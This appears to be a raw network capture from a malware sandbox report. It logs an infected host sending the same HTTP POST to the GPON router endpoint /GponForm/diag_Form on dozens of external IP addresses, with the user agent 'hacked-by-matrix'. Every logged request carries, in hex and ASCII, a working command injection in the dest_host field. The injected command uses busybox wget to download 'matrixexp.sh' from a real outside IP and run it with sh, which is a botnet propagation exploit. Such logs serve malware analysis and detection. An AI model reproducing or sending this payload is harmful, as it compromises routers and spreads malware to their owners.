Mar 21, 2024 05:16:56.533160925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	39542	178.177.12.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533164024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	36650	109.73.53.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533195019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	54476	79.238.165.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533201933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	60358	118.210.206.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533238888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	60518	5.224.103.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533268929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	57080	79.27.73.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533296108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	58062	2.182.110.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533339977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	43664	109.117.155.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533343077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	45720	79.116.146.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533385038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	56034	210.252.68.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533412933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	50210	79.233.34.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533426046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	37628	210.10.203.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533448935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	47050	210.208.232.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533476114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	48852	79.179.220.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533514023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	53132	42.126.190.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533534050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	54076	178.2.184.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533536911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	54738	79.142.173.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533570051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	45022	5.25.168.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533605099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	60142	42.242.41.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533618927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	56320	79.5.152.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533690929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	40750	210.170.33.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533690929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	42736	94.64.230.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533695936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	41234	37.44.92.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533736944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	51716	178.116.251.59	443

Timestamp	Bytes transferred	Direction	Data
